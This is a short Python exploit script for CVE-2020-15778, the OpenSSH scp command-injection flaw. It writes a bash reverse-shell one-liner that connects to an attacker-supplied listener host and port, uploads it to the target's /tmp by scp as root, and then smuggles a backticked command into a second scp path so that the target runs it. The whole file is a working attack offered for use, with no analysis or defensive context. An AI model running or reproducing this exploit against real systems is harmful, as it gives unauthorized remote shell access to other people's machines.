# --CVE-2020-15778-Exp-- # -*- Encoding: utf-8 -*- import os import argparse import sys def host(): parser = argparse.ArgumentParser(description='Exp for CVE-2020-15778 by shiro') parser.add_argument('-ip', required=True) parser.add_argument('-lhost', required=True) parser.add_argument('-lport', required=True) args = parser.parse_args() #print(args) return args def exp(args): address = str(args.ip) print("[+]target host ip is: " + address) lhost = str(args.lhost) lport = str(args.lport) print("[+]input listener host: " + lhost) print("[+]input listener Port: " + lport) shellcode = "bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1" #print(payload) try: f = open('shell.sh', mode='w') f.write(shellcode) f.close() print("[+]shellcode generate successful") f = open('test.txt', mode='w') f.write("123456") f.close() except: print("[-]shellcode generate unsuccessful") sys.exit(0) cmd1 = "scp shell.sh root@" + address + ":" + "/tmp/shell.sh" #print(cmd1) cmd2 = "scp test.txt root@" + address + ":" + "'`sh /tmp/shell.sh` /tmp/test.txt'" #print(cmd2) os.system(cmd1) print("[+]backdoor translate success") print("[+]payload is ready") print("[+]please use netcat to listen reverse shell") print("[*]input the password in second time") print("[*]waiting for get shell......") os.system(cmd2) print("[+]enjoy your shell") if __name__ == '__main__': exp(host())